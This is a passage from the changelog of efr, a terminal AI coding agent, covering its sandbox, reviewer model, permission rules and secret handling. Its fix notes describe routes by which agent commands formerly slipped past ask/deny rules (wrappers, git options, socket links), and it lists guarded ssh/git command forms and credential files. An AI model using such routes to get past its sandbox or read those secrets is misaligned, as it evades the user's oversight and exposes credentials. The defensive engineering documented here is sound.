full modein red at its start, andfullin red in the status row and on the row of a running call. At its end, one line lists what efr saw full mode let through, such asefr saw 2 actions that full mode let through: write ~/notes.txt, upload (git push); the actions of a script are not in it. A question that full mode still asks shows why on its first row, andexpires in 2 minwhen it waits a fixed time.efr history --verboseshowsexit allowed by full mode, andefr undo --listshowsfullfor a full turn. A turn that asked for full mode and runs with less saysthis turn runs as auto: <reason>. - While a terminal's prompts run in full mode, the zsh plugin shows the mark ๐ next
to the robot in sticky mode, such as
๐ค๐ app โบ, also whenconfig.tomlmakes full mode the default.EFR_FULL_MARKsets another mark, and an empty value shows none.efr_prompt_infoshows the mark too. Outside sticky mode, the red first line of each turn says full mode. efr statusshowsfull modeasallowed,off (permissions.allow_full is false)orrefused (<reason>), anddefault mode fullwhenconfig.tomlmakes full mode the default.- A full call clears sudo's cached password before and after the call. When your
sudoers shares the cache across terminals (
timestamp_type=global), this also clears your own terminal's cache. A background job of full mode cannot gain rights throughsudoor another setuid program (no_new_privs), so it cannot use sudo's cached password. A polkit rule with no authentication still works there. - While a full turn or its job runs, efr does not load a change of
config.tomlthat loosens permissions. It keeps the change held after that, also over a restart of efrd:efr statusshowsconfig heldwith the keys that loosen, your terminal hears it once, andefr config reloadsaysconfig.toml is held; the old settings staywith the reason. If you did not make the change, take it out of the file, and then runefr config reload. A change that turns full mode off, such aspermissions.allow_full = false, applies at once, also while another change is held. ,resumeandefr resumelist the recent conversations, the ones of the current project first, with their title, project, age and turn count.,resume N(or an id start) makes one this terminal's conversation again: the next prompt in its project continues it, its hidden shell starts in its last directory, and its jobs report here. When another open terminal holds it, efr names that terminal and asks first;efr resume --take Nmoves it with no question.,resume <words>searches when the words are not a number or a conversation id.efr historyshowsresumed in /dev/pts/7where it happened.,resumeopens a live search picker when fzf 0.46 or newer is installed (an optional program, as bubblewrap is). It shows below the command line, never full screen, and clears itself when it closes. Type to search the titles and the text of your conversations; the preview shows the matching lines. Enter continues the conversation here, Ctrl+O prints it likeefr history, and Esc closes it.,resume <words>opens the picker with the words as its query, and the words never show in the process list. Without fzf,,resumeshows a numbered list, and,resume <words>prints the best matches.[resume] picker = "list"turns the picker off.- efrd now keeps a search index of your conversations: the titles, your prompts, the
model's answers and the commands that the agent ran. It never holds the output of a
command, the contents of a file or the text of a heredoc. Before text goes into the
index, efr removes the secrets that it recognises: keys with a known start, long
random words, tokens, passwords in URLs and in assignments, private keys, and
name: valuesecrets in config text. It cannot recognise every secret. After the upgrade, efrd indexes your old conversations in the background. Until it ends, a search shows how far it is.efr search <words>prints the conversations that match, best first, with the matching text.docs/use/conversations.mdhas the details. - efr has a docs website at https://eggfriedrice24.github.io/eggfriedrice.code/.
mdBook builds it from the files in
docs/: a guide to install and use efr, the settings and theconfig.tomlreference, help, the internals and this changelog. The decision records stay on GitHub only for now. The site is dark, in the colours of the eggfriedrice design system, and it works on a phone. - A new terminal in a registered project picks up the project's newest conversation
when no open terminal holds it and it was active within
conversation.tty_idle_hours. Its hidden shell starts in its last directory, as with,resume. The reply then starts with one dim line, such asโช picked up "fix the proxy test" in app (25 min ago); ,new starts fresh. A conversation is never open in two terminals: a terminal whose shell still runs, or that follows the conversation, holds it. A phone never holds one. A conversation that no terminal held, such as one ofefr sendfrom a script or one that a phone started, is never picked up.efr historyshowspicked up in /dev/pts/7where it happened. - A marker shows the scope of a prompt before you send it. In sticky mode, the line
shows
๐ค app โบin a registered project and๐ค โ โบoutside projects. The status row of a running turn ends with the scope.efr_prompt_info(or the variable$efr_scope) gives the scope to your own prompt, with each%doubled forprompt_subst. efr never changes your prompt. The zsh plugin runs no program for it: efrd writes the registered projects toprojects.tsvin its runtime directory. - A prompt in a git repository that is not a registered project shows, at most once a
day for each repository, that writes there ask you and how to register it:
โ ~/p/tool is a git repo but not a project: writes there ask you. efr project add ~/p/tool registers it.efr never registers a repository by itself.conversation.repo_hint = falseturns it off. efr awayand,awaytell efr that you are away from the conversation of this terminal. efr also counts you away after 10 minutes without input in the conversation (presence.away_after_minutes). While you are away, the status row of a running turn showsaway, and a question waits 5 minutes (presence.away_wait_secs), also a question that already waited when you left. Then the call does not run, and the model goes on without it and names it in its answer. Your next input ends the away state.efr contextand,contextshow what fills the model's context of this terminal's conversation: the model's last count with itsctx N%, then efr's estimate of the next request by part (the system prompt, the tools, the summary, the prompts, the notices, the answers, the tool calls and the tool outputs), the five largest items, such asoutput of $ cargo test, turn 12, the compactions and the cache use, such aslast turn 91%; conversation 83% read, 210k written (200k for 1h). It shows no text of a message.efr context <id>shows another conversation,--modelcounts for another model, and--jsongives the same facts to scripts.,context <words>was a prompt before; it now runs this command with the words.- A prompt now tells the model the recent commands of your terminal, after the last
command: each one with its exit status, its directory when that is not the current
one, and how long ago it ended. The zsh plugin keeps the last 10 command lines of
each terminal, but never a
,line, anefrcommand or a line that starts with a space. A line that starts with a space is not sent as the last command either. The new keycontext.recent_commandssets how many the model sees (8 by default, 0 for none). Like the last command, they go to the model with their secrets redacted, and never into the event log. The plugin keeps the first 2,000 characters of each line and at most 64 KiB of recent commands, so a very long line never stops a,line. - When a command of the agent still runs in its hidden shell after its call answered
the model, efr now tells you: the call shows
still runs in the hidden shell, the end of the turn names the command, and the next prompt shows a notice. When the command waits for input, such as a password, you see the line that asks. You answer it in the turn view, or with the new,shell(orefr shell), where Ctrl+C stops it. A wait for a password stays for you only when you or your own rule approved a line that may ask for one; efr stops other such waits and tells you. Such a command that waits for input ends aftershell.interactive_timeout_minutes. Any command that waits for input past its timeout goes on while you follow the turn.docs/use/hidden-shell.md, "A busy hidden shell", has the details. - A paste of several lines that all start with
,now sends one prompt for each line. The first prompt runs, and the others wait behind it in their order, as Tab in the input row queues them. A paste with any other line stays one prompt. - In
auto, efr can change a file that runs code later, such as~/.zshrcor a Hyprland config, when you name it, such as "add an alias to my zshrc" or "change the gap in my hyprland config". The reviewer decides, and it sees the change that efr will write. A whole directory still asks you. efr copies the file first, and at the end of the turn each such file gets one line:changed ~/.zshrc; efr undo reverts it, in the view and inefr history, also when the turn failed or you interrupted it. The turn's line of changed files does not count it again. Withsnapshot.enabled = false, such an edit asks you, because efr cannot copy the file first.efr sandbox explainsays thatefr undoreverts such an edit. - In
auto, the reviewer can also allow a change that you name to a unit (systemctl --user enable,mask), a link into a*.wantsdirectory, the autostart directory, your crontab and linger, when it can read what the change installs. The reviewer also reads each unit that the unit'sAlso=names. efr copies the links, the crontab or the linger setting first, soefr undobrings them back. A unit file or a link to it that changed in the turn asks you.systemctl --user link,edit,revert,atandsystemd-run --userstill ask you. efr runscrontabandloginctlitself only when root owns them and their directory; if not, these forms ask you.loginctl enable-lingerwith your own user name or uid counts as the form with no user.crontab -lonly reads your crontab, so the reviewer can let the model read it before it writes all of it withcrontab -. - Answer
a(always), theny, at a question for an action that leaves the sandbox to save a rule in[[sandbox.allow]]ofconfig.toml. A later command that the rule covers runs with no question and no review. A rule covers one host and port, one write dir, or one socket. The question shows the rule next to its keys, such asa always: write under ~/notes, andafirst askssave rule "write under ~/notes"? y/n: any key butygoes back to the question. Then one line sayssaved as sandbox.allow[2]: write under ~/notes, or why efr did not save it. A command that a rule covers showsallowed by your rule sandbox.allow[2]: write under ~/notes, also inefr history. efr keeps the comments of the file. A rule of a bad shape stops efrd at start and makes a reload fail, and the error names that rule and its line, such assandbox.allow[2]at line 12. A rule that no longer passes the floor checks is disabled with a warning, and efrd still starts. - An always rule never covers a privilege, persistence, upload, desktop, masked-read
or synced-folder exit. It never runs a command outside the sandbox, never names a
floor, efr's own dirs or a secret, never covers a dir above a floor, a write in a
floor or in a
.gitdir, or a path through a link, and never beats adenyoraskrule ornetwork.deny. Only an answer in your own terminal saves a rule; efr never writes one for a phone or the model. Any program of yours that can writeconfig.tomlcan still add one.docs/use/sandbox-basics.md, "Always-allow rules", has the details. efr sandbox allowlists the always rules ofconfig.tomlwith their numbers, and marks a rule that efrd disabled with the reason.efr sandbox allow remove Nasksremove sandbox.allow[N]: <rule>? y/n, removes the rule withy, keeps the comments of the file, and makes efrd read the file again. It removes nothing when the rule at N changed after the question.- A bus filter for
auto, on by default (dbus.proxy = true). Read-only system queries now run with no review:hostnamectl,timedatectl,localectl,systemctl --failed,systemctl status <unit>and the other read forms,systemctl --user --failed,loginctl list-sessions, and desktop notifications withnotify-send. The command reaches the system or session bus only through a filter that allows read methods and the calls ofnotify-send. A background job can run such queries too; the whole bus stays refused for jobs. The filter needsxdg-dbus-proxy0.1.9 or newer. Older versions cannot servehostnamectland the other systemd tools, and let some messages past the filter. Ubuntu 24.04 and Debian ship an older version, so there the filter stays off until they ship 0.1.9. When the filter is off, these queries go to the reviewer, and the session bus commands ask you, with no warning unless you setdbus.proxy = trueyourself.dbus.proxy = falseturns the filter off.docs/sandbox.md, "The bus filter", has the details. - A bus call that the filter refuses fails in the command. efr tells the model which
call the filter refused and how to ask for the whole bus for one command. The
command shows each refused call under its result, such as
bus: refused system org.freedesktop.systemd1 Manager.StartUnit, and the record of a command or a job keeps them. When the filter stops during a command, efr tells the model too. [[dbus.allow]]allows more bus methods. For systemd, logind and the other default services, efr accepts only read methods. For other services, it refuses wildcards and known write and power methods. efrd refuses an entry of a bad shape at start and at a reload, andefr config checkshows the same errors.- The bus filter of a command runs in its own Landlock domain with no TCP, a seccomp filter and an fd limit. It reads only its program and libraries, connects only to the two real buses, and makes its sockets only in the command's bus dir. Each command gets its own filter, which ends with the command. A filter that cannot start fails the command; the command never gets the whole bus instead. A bug in the filter itself still reaches your bus rights.
- In
auto,ss,ip addr,ip -s link,ip route,nstatand reads of/proc/netnow run with no review and show your machine's real network: its sockets, links, counters and routes. The command runs in your machine's network namespace, but it cannot open a network socket: only local Unix sockets and the netlink views ofssandipwork,listenfails, and Landlock refuses TCP and connects to abstract Unix sockets outside the sandbox. Every program in such a call gets the same limits. A line that also does other work,iw,ifconfig,netstat, and changes such asip link setstill go to the reviewer. A background job that watches your network now starts with no review too. The new keynetwork.netview(defaulttrue) turns this off. The dim line at the end of such a turn sayshost network view (no sending). - In
auto,dfandfindmntnow run with no review and show your machine's mounts with their real sizes, also for/tmp,/dev/shmand your runtime dir. efr reads the mounts outside the sandbox. A mount that does not answer in one second shows-, sodfnever hangs on it.df <path>shows where a write in the sandbox goes, for example the private/tmp. Mounts below a hidden path, and mounts of other users, show no sizes. Every sandboxed command could already list the mounts through/proc/<pid>/mountinfo; the mount view adds their sizes. When efrd runs in a mount namespace of its own, for example because a unit drop-in setsProtectHome,dfandfindmntgo to the reviewer and run outside the sandbox instead. A path or a wrapper, such as/bin/df,command dfortimeout 10 df, also goes to the reviewer, because it runs the realdf. efr statusandefr sandbox checkshow the network of a sandboxed command (network proxy,network none, ornetwork none (proxy self-test failed)), whether the network view works (netview yes,netview nowith the reason, ornetview off (network.netview = false)), and the bus filter (bus filter on, orbus filter offwith the reason, such asdbus.proxy = falseorxdg-dbus-proxy is not installed). While efrd checks the bus filter again after a reload, they keep the state of the last check.- The dim line at the end of a turn names the network that its commands had:
network through efr's proxyin place ofno networkwhen a command of the turn, or a background job that the turn started, ran with the proxy, andfull networkwhen a command had the whole network. When the turn changed files in projects, the line names them, such assandbox: wrote in app and lib; could write $SCRATCH, private /tmp; .... sandbox.keep_downloads(defaultfalse): in thetmpcache mode, the download caches (~/.cargo,~/go/pkg/mod,~/.npm, the bun and pnpm stores) keep what a command downloads for the rest of the conversation, in efr's private layer. Your own caches do not change. It is off by default because each sandboxed command then takes about 3 to 4 ms more to start.- The changed files of a turn now fall into groups: generated (lock files,
*.snapsnapshots,fixtures/), tests, docs and code. The line at the end of a turn names up to two groups that are not code, the largest first, such as9 files changed, +635 -44 (evals +503, tests +77). A turn that changed only code shows the line as before.efr diff --statstarts with a table of every group and a total row, andefr diff --stat --alladds up every turn of the conversation that undo did not take back. Your own groups go inconfig.toml, such as[diff.groups] evals = ["evals/", "*.eval.toml"]; they match first, in the order of the file. A group namedcodekeeps its files in code, andtotalis not a name of a group. efr historyshows the lines of the reviewer, its pause, the expiry of a question while you were away, the space that a cache delete freed and each changed file that runs code later.efr history --verboseadds the model of each review, the step of its chain, its time and the models that it skipped, such asskipped claude-haiku-5-5: parse error, andasked again for a real reasonwhen efr asked the reviewer again.efr history --verboseshows the tokens of each turn on one muted line, such as18.2k in, 1.1k out, cache 91%, wrote 1.2k (1h): the input, the output, the cache share and the cache writes, also for an interrupted or failed turn.- A turn that ends with no answer says why, such as
the model stopped with no answer (stop: refusal). An answer that reached the output limit says so too. - The journal of efrd has a line for a failed or interrupted turn, and the request id
of a model call that failed. The
phase=model_answerdebug line says how the answer ended:stop_reason=with the provider's reason, oroutcome=interruptedoroutcome=error. - With
log = "info,efr_conversation::usage=debug", the log of efrd shows one line with the numbers of each model call, such asusage gap_ms=95000 input=18200 output=1100 read=16600 write=1200 write_1h=1200, so you can measure which[anthropic] cache_ttlcosts less. The line holds no text of a prompt or an answer. - The Arch packages name
fzf(for the search picker) andxdg-dbus-proxy(for the bus filter) as optional dependencies.
Changed
- A terminal now keeps one conversation for each registered project that you worked
in, and one for everything outside registered projects. The conversation changes
when you send a prompt, not when you
cd: a prompt in~/p/app(or below) continues the terminal'sappconversation, andcd ~and a prompt go back to its conversation outside projects. A dim line before the reply names each change, such asโช back to "fix the tests" in app (2 h ago)orโช new conversation for app (from ~). The first line of each reply names the scope (app, orโ no project ยท ~); the settings of a prompt follow on the same line afterยท.conversation.tty_idle_hoursnow applies to each of these conversations on its own.,newstarts a new conversation for the current scope only.efr history,efr undo,efr diff,efr jobsand the other commands act on the conversation of the terminal's last prompt. The new keyconversation.follow_project = falsekeeps one conversation per terminal, as before.efr sendtyped by hand in a terminal names its shell, so a new shell on the same terminal starts fresh. The first start of the new efrd updates its database once.docs/use/conversations.mdhas the details. - In
auto, more actions that leave the sandbox now go to the reviewer instead of to you:write_fileandeditoutside the project and$SCRATCH, as a shell write there does;- a write that runs outside the sandbox, such as
mv src ~/x, and anoutsidecall. Anoutsidecall whose program changed in this turn still asks you, and so does one that runs an interpreter on code that efr cannot read, such aspython3 -c,sh -cor a script; - a socket that the model names. A credential agent's socket (
$SSH_AUTH_SOCK, gpg-agent, a keyring or a password manager's agent) asks only you. A socket inside a secret, such as~/.gnupg/S.gpg-agent, or in efr's own dirs is refused; - the read and reload forms of
hyprctl,swaymsg -t get_*,xrandr,wlr-randr,niri msgandi3-msg -t get_*.i3-msgis now a desktop command. Other desktop commands still ask you; - the read forms of
nmcliandiwctl, such asnmcli device status, as a request for the system bus. Changes such asnmcli radio wifi offalways ask you; twine checkand the othertwineforms that do not upload, which then get the network;git fetch,git pullandgit push. The reviewer sees every host behind a remote name. A remote of your project that did not change since the conversation started counts as named by you.
- In
auto, a command that deletes or overwrites files in the project now runs at once when efr's snapshot holds every file that it can touch, such asgit reset --hardor: > file. A delete or a move throughapply_patchdoes the same.shred,git clean -x,git reflog expire, a file that the snapshot left out, content that is only staged, and a delete above the project still go to the reviewer or to you. A command that writes through a link, such as: > link, needs the file that the link names in the snapshot too. The new keysandbox.ask_destructive = "always"keeps the old behaviour. Incautiousandmanual, efr still asks you for each delete. - With the proxy, a fetch from an ssh remote,
ssh,moshandautosshrun outside the sandbox with your ssh keys, and only after a message of yours names the host (or the remote is your project's). A line that can send ssh to another host first or run a command on your machine, such asssh -J,ssh -F,ssh -o ProxyCommand=...,mosh --ssh,git -c core.sshCommand=...orGIT_SSH_COMMAND=..., always asks you. Agit pushwhose host efr cannot tell, such asgit --git-dir=... push, a push after acdor a push to a local path, also asks you. - In
auto,rustup toolchain install,rustup install,rustup update,rustup target add,rustup component addandrustup self updatenow run outside the sandbox. The reviewer decides a release channel such asstable,nightlyor1.90(with a date and a target if you like) when a message of yours namesrustup, the toolchain or the channel. A line that setsRUSTUP_*orCARGO_HOME, names a toolchain path or a custom toolchain, or runsrustup toolchain linkasks you, because the install puts programs on yourPATH. Before, they wrote into efr's private layer, and the toolchain was gone after the command. - A write to efr's own programs, to
$XDG_RUNTIME_DIR/efr, to~/.local/state/efror to~/.local/share/efris refused in every mode. Two places stay open:$SCRATCH, which the model writes freely, and efr's trash (~/.local/share/efr/trash), where the reviewer decides a write without a message that names it. - In the input row of a followed turn, Ctrl+B no longer moves the cursor back: it moves the running shell call to the background (see Added). The Left arrow still moves the cursor back.
, resume(with a blank after the,) now runs,resume, and does not send the prompt "resume". The same rule applies tonew,compact,context,awayandshell, and tomode,modelandeffortwith at most one value that efr accepts. In sticky mode, a line of only one of these words runs that command too. A prompt with any other word stays a prompt.- The command line now shows a pasted prompt of several lines as you pasted it, not as
a quoted line (
say\ one$'\n'...). History keeps the whole text, and Enter on it sends the same prompt again. - efr now knows that
rsync,scp,sshfsandgitover ssh may ask for a password, also with a remote shell in-e,RSYNC_RSH,GIT_SSH_COMMANDorcore.sshCommand. Such a call outside the sandbox runs past the model's timeout while you follow the turn, up toshell.interactive_timeout_minutes, whoever allowed it: you, the reviewer, a rule or full mode. Its question says that you may need to type your password. A question about a sandboxed command never says so. - In
auto, the model no longer hears that background processes stop when a command ends. It hears that it can start a job withbackground: true.&,nohupandsetsidin a normal command still stop when the command ends. - The shell tool tells the model to try what you asked first, and to call again with
the narrowest
needsafter an access error. The note after a failed sandboxed command no longer lists what the sandbox cannot do. - The auto rule of the system prompt is short: the model does what you ask, tries first, and lets efr decide. Older prompts of a conversation keep the old rule.
efr sandbox explainsays that the reviewer decides a named floor file. It addsuser onlyonly for a kind that only you approve, such as a synced write.- The line of an action that leaves the sandbox names the command and the link path
that you used, such as
changed ~/.config/hypr/x.conf (real file ~/dotfiles/hypr/x.conf), and shows no internal rule numbers. The line of a desktop command names its socket and what it does, such asreviewer allowed: the Hyprland socket, to read its state or reload it. - A snapshot now keeps the exact bytes of each file, also when the project's
.gitattributesasks git to change line ends or encodings. An older snapshot store takes one full snapshot to get there. - efr no longer writes
~/.local/share/efr/file-backups/. The snapshot store replaces it. efr deletes the old backups aftersnapshot.max_age_daysdays. - The
+/-counts of the turn line and ofefr diffuse a plain-, not the minus sign. efr statusshows its times in your time zone, such asstarted 2026-10-20 12:00:00 CEST (2h 0m ago).- After a restart of efrd,
efr statussayskey sk-ant-...a1b2 not checked since efrd startedfor a stored API key until the first request with the key gets an answer, because efrd keeps the refusals of a key in memory only. efr config reload,efr config set,unsetandeditshow the warnings of the reload, one dim line each: a[model] nameof another company than[model] provider, an always rule that a floor now disables, and a bus filter that the reload turned off. Before, they went only to the log.- The debug log is quieter after a turn and for unreadable files in a snapshot. A
write to a client that closed its connection logs at
trace. Files that git cannot read give one line for each project, with their count and the first path. A git that stops with a fatal error during a snapshot is now a warning. - The daemon's log names the providers and the vt100 screen by their new module paths,
because four small crates are now modules of other crates. A log line of the OpenAI
provider has the target
efr_providers::openai::...instead ofefr_provider_openai::.... The same is true for the Anthropic provider (efr_providers::anthropic, beforeefr_provider_anthropic) and the vt100 screen (efr_screen::vt100, beforeefr_screen_vt100). If yourEFR_LOGor thelogkey names an old target, change it. - The README is now short: it shows how to install efr, a short example and the
permission modes. The details moved to the pages of the docs site in
docs/. - Update
efrandefrdtogether: an olderefrcannot read the history of a full turn. They ship together in the packages.
Fixed
- In
auto, a Ctrl+C at the very start of an agent's command could be lost, and the command then ran to its end. Now the sandbox launcher always stops the command. $SCRATCHnow works in the agent's commands. The model read that$SCRATCHwas its own directory, but the hidden shell did not set the variable, socd "$SCRATCH"did not move, and agit cloneafter it landed in your project. Now every command of the agent hasSCRATCHset to the conversation's scratch directory: in the hidden shell, in the sandbox, in an approved exit and in a background job. Your own login shell does not change, and aSCRATCHthat your startup files set does not reach the agent's commands. A sandboxed command that setsSCRATCHchanges it for that command only.- efr no longer sends an answer that may be a password into a sandboxed command. A sandboxed command could show a prompt that looked like a password prompt, and efr took your answer for it. Now efr stops such a command at once.
- A command that waited for a password in the hidden shell after its call timed out
blocked every later call of the conversation for that call's timeout, with no word
to you. Now the next call fails at once, the model names the command, and you can
answer or stop it with
,shell. - An
askordenyrule forgitin[[permissions.rules]]now matches when git's own options come before the subcommand, such asgit -C ~/p/app push origin HEADorgit -c push.default=current push, in both forms (--git-dir=xand--git-dir x). Before, such a line ran with no question. Anallowrule skips only the options that change nothing, such as--no-pager. - An
askordenyrule in[[permissions.rules]]now also matches the command behind a wrapper, such asenv git push,nice -n 5 git pushortimeout 60 git push, and a program by its path, such as/usr/bin/git push. Before, such a line ran with no question. Anallowrule still matches only the program itself. A rule that matches only through a wrapper, a path or git's own options never makes the effect less strict than an earlier rule, sodenyforniceand thenaskforgit pushstill deniesnice git push. - In
auto, an approved desktop command (hyprctl,swaymsg,wlr-randr,xrandr,niri msg,i3-msg) now reaches the compositor socket of your terminal's session. The call gets that one socket and the one variable that names it, such asHYPRLAND_INSTANCE_SIGNATURE. It never gets Hyprland's event socket or its log. The socket must have the place and the name of that desktop's socket, such aswayland-1, so a variable cannot name another socket of yours, such as the session bus. When efr finds no such socket, the model reads "efr found no Hyprland session in the terminal of this prompt". An X server that needs an X cookie is refused for now, also when only your terminal has$XAUTHORITY. systemctl --userin a sandboxed command with the session bus now uses that bus. Before, systemd 262 looked only for its private socket, and the command failed, also after you allowed the whole session bus. A script that runssystemctl --useritself still fails.- After you say no, the model does not ask again for the same action in that turn.
- The model no longer answers a prompt that you cancelled. This also holds for a turn that efr stopped before this version. The first request of such a conversation then misses the prompt cache once.
- After
efr logout anthropicorefr logout openai-api, a prompt says that no key is stored and how to log in. Before, a model list fetch that started before the logout could end after it, and the prompt then said that the provider rejected the old key. - A prompt that waited in the queue while a config reload made
[model] namea model of another company than[model] providernow fails with the same error as a new prompt, which names the cause and the fix. Before, it failed with a general error. - The warning about a
[model] nameof another company shows once in the log. Before, each reload of the same file wrote it again, also a start that reloaded once. efr historyprints the partial answer of an interrupted turn once. Before, it printed it twice.- A project that efr reaches through a symbolic link, such as
~/pas a link to/data/p, now has one plan lock. Before, a sandboxed call that named the project through the link and a file write that named it directly did not wait for each other, so the write could change the project while efr prepared the call. - A line that holds a command that must run outside the sandbox and other commands is
now refused with
refused: a command that must run outside the sandbox must run alone. Before, the refusal said "an approved command", also when you did not approve anything. - When a sandboxed command still runs at the end of its call, the end of the screen
that the model reads no longer holds efr's own line of the hidden shell, such as
[[ "${functions[_efr_hs_sbx]-}..." ]] && \_efr_hs_sbx <id>. It holds the command's output.
Security
- Before an approved outside
git push,git fetch,git pull,git send-email, or aghcommand that runs git, efr checks the repository's git code and that of its submodules: hooks,core.sshCommand, transport URLs and the other settings that run programs, and the programs that they run. When a sandboxed command can write one of them, or efr could not check them, only you can approve, and the question names the file. efr checks again right before the command runs. git options that choose the code that git runs (-c,--exec-path,--receive-pack,--upload-packand others) also ask only you, and so does a git or gh line that sets aGIT_*,SSH_*,HOME,XDG_CONFIG_HOMEorPATHvariable.efr history --verboseshows the parts that a sandboxed command can write, with no user name or password of a URL. npm publish(also with pnpm, yarn and bun),cargo publish(also with--no-verify),cargo yankandcargo ownerask only you. The question says what they run: the project'sprepublishOnlyandprepackscripts, the build of the crate, or.cargo/config.toml, which can name a credential program.- The exits of
autoand the delete guard of full mode now read git's--config-env,--attr-sourceand--shallow-filewith their value as a separate word. Before,git --attr-source HEAD pushwas no upload exit. - A question for a line that runs
sudoor another program as another user now takes an answer only from your own machine, never from a phone, also inmanualandcautious. A phone that tries gets the textonly the user's own machine answers a privilege exit, a delete that full mode guards, or a background job. - A process below a hidden shell or a job that declares itself a phone now gets the read scope only. Before, it could approve exits.
- A process that a background job outside the sandbox left behind cannot approve
efr's questions or change its settings, also after it left the job's session and
lost its launcher: under the systemd unit, every process in efrd's own cgroup but
efrd gets only the
readscope on efr's socket. - A socket grant never binds the system bus, the session bus, a service manager's
socket (such as
systemd/private), a container engine's socket or a desktop socket, also through a link. Before, one approved socket exit for a link to the session bus could reach it. Such a command now fails to start, and the sandbox says why. - In
auto, the socket of a service manager, such as$XDG_RUNTIME_DIR/systemd/private, is a privilege exit that only you approve, as a container engine's socket is: a command with it could start a unit outside the sandbox. ~/.local/share/dbus-1is now a floor: a sandboxed command cannot write it, and a write there asks you. The bus starts the program of a service file there outside the sandbox when a client calls its name.- The git guard now also checks the git dirs below a dir that an approved write
opened, also through a link, and the git dir of a repository when the write opened a
dir in it, such as
.git/hooks. Before, a command that you allowed to write to a repository that is not a project could plant git hooks there. - The hooks and config of a git submodule (
.git/modules/<name>, also a name with/such asvendor/foo, and a submodule of a submodule) stay read-only in the sandbox, as the project's own do. Before, only the first level below.git/moduleswas read-only. A relativecore.hooksPathof a submodule is now read-only in the submodule's own dir. After each command, the git guard also checks these submodules, the git dir that a.gitfile names, and the include files and thecore.hooksPathdir that the config of each checked repository names. - A program whose modification time (mtime) a command set back still counts as changed in the turn: efr also reads its change time (ctime). A program that a background job of the conversation wrote since the previous turn started counts as changed too.
- efr now also treats
~/.config/git/credentials,~/.config/npm/npmrc,~/.config/pnpm/rc,~/.config/pypoetry/auth.tomland~/.config/composer/auth.json, and hub's~/.config/hub, Copilot's~/.config/github-copilotand Git Credential Manager's~/.gcm, as secrets, as it treats~/.git-credentialsand~/.npmrc. No mode reads them. The sandbox also hides~/.config/glab-cli,~/.yarnrc.yml,~/.yarnrc,~/.bunfig.toml,~/.config/pip/pip.confand~/.pip/pip.conf, because they can hold a token. Inauto,read_fileof one of them asks you. - A sandboxed command no longer gets
GIT_CONFIG_PARAMETERS,GIT_CONFIG_COUNT,GIT_CONFIG_KEY_*orGIT_CONFIG_VALUE_*, which can give git a token or a credential helper. It also no longer gets a name that ends in_AUTH, such asnpm_config__auth, or a variable whose value is a URL with a password, such asPIP_INDEX_URL=https://user:token@..., unlesssandbox.env_keepkeeps it. - efr redacts more kinds of tokens from the last command and the recent commands that go to the model: AWS, Slack, GitLab, Google, npm, Hugging Face and PyPI keys, JSON web tokens, and long random words of upper and lower case letters and digits. Git ids, sha256 sums and paths stay. A key of only lower case hex stays visible.
- efr now uses rustls 0.23.46 for its connections to the provider. This version fixes four advisories of rustls 0.23.45 (RUSTSEC-2026-0346 to RUSTSEC-2026-0349).
- efr now uses rustls-webpki 0.103.16, which rustls uses to check certificates. This version fixes the advisory RUSTSEC-2026-0382 of rustls-webpki 0.103.15.
0.0.3 - 2026-10-09
Added
- Model calls to OpenAI can go over a WebSocket, which cuts the time to the first
token. Each conversation keeps one connection open between the calls of a turn and
between turns, and closes it after 10 minutes without a call. Before a call on a
connection that had no call for 30 seconds, efr sends a ping. When the connection
died during a sleep of the computer or a change of network, the call goes over HTTP
after at most 5 seconds. While the connection holds the previous answer, a call
sends only its new input. A call that the server did not take on the WebSocket goes
over HTTP. An error answer on the WebSocket, such as a rate limit or a context
overflow, fails the call as it does over HTTP, without a second request. A call
whose request went out and whose connection then broke or went silent fails as on
HTTP and does not go out again, because the model may already run. When you
interrupt a turn, efr stops the answer on the connection and keeps the connection
for the next call. The new key
[openai] websocketchooses the transport:auto(the default) uses a WebSocket for each model that the model catalog marks withprefer_websocketsand HTTP for the other models, so a new catalog from the backend changes the choice from the next call.onuses it for every model, andoffuses HTTP only. The key needs a restart of efrd. The debug log shows the time to the first event of each call with its transport (phase=provider_acceptedandphase=provider_first_event), so you can compare the two. - The model edits files with a new
apply_patchtool. One patch adds, changes, deletes or moves one or more files, and it changes all of them or none: when a part does not match, the model gets the nearest lines of the file and no file changes. When you interrupt the turn while the patch writes, efr puts every file back. The call shows the diff of each file. A change or a new file in the turn's project or in$SCRATCHneeds no approval, as forwrite_file. A delete or a move always asks, also inauto, because undo cannot bring the file back yet. The question shows the diff of every file and marks each delete and move. The models that take freeform tools get the tool with its grammar. When you change to a model that does not take freeform tools, the earlier calls go to it in the form that it takes. The system prompt tells the model to use it, and notsed -ior a whole-file write, for an edit. efrshows anapply_patchcall by its files, such asapply_patch src/a.rs +3 โ1, new notes.md +2, delete old.rs, and never the text of the patch. After the call, each file gets its own diff block with a row that names it, andrender.diff_linesapplies to each file. The approval of a patch shows the diff of every file, and marks a delete or a move in the warning colour. A file outside the project,$SCRATCHand your home keeps its absolute path, such as/etc/hosts. While the model writes the patch, the status row showspreparing apply_patch, 3.2 KB.- An input row below a running turn, in the terminal that follows it. Type there while
the turn runs: Enter steers the turn, Tab queues the text as a prompt behind it, Esc
interrupts it and Alt+Up takes back the newest prompt that you queued there. The row
edits like a shell line (arrows, Home, End, Ctrl+A/E/U/W/K, Alt+B/F), Ctrl+J adds a
newline, and a paste keeps its newlines. Keys that you type while the prompt goes
out land in the row too. An approval takes only the keys that you type after it
shows: keys typed before it and the rest of a paste stay in the row. While the
output of a command ends with a password prompt, the row hides, and what you type
never goes to the model as a steer. A complete output line that only names a
password, as
grep passwordprints, does not hide the row.render.turn_input = falseturns the row off. - Steers that the model did not read yet show above the status row as
โณ steer:, and prompts that you queued asโณ queued:. When a model call reads a steer, it moves into the reply as your message. A steer that comes too late for its turn waits in the queue instead. efrfollows each prompt that you queue from the input row after the turn before it, and ends after the last one. Esc sends the steers that the model did not read as a new prompt, and puts the prompts that you queued back into the row, so nothing runs that you did not see. Esc stops the turn also when the queue is full or when the settings of your terminal do not work now: the steers then go with the settings of the stopped turn. Ctrl+C clears the row; on an empty row it interrupts the turn and also takes back the prompts that you queued there and the steers that the model did not read. A prompt that still waits behind another turn is taken back instead, by Esc and by Ctrl+C. When efrd does not answer Ctrl+C in time, or the connection ends, all of that text goes back to your shell with a note, so no text is lost.- Text that is still in the input row when
efrends goes back to your zsh command line as, <text>, so you can edit it and send it again. Without the zsh plugin,efrshows it as one muted line. Eachefrrun gets a file of its own, so the texts of two runs before the next prompt both come back, also from a pipeline or after you source the plugin again. A new shell removes only the files of gone shells in its own pid namespace, so a shell in a container (distrobox, toolbox) keeps its text. - When efrd restarts while
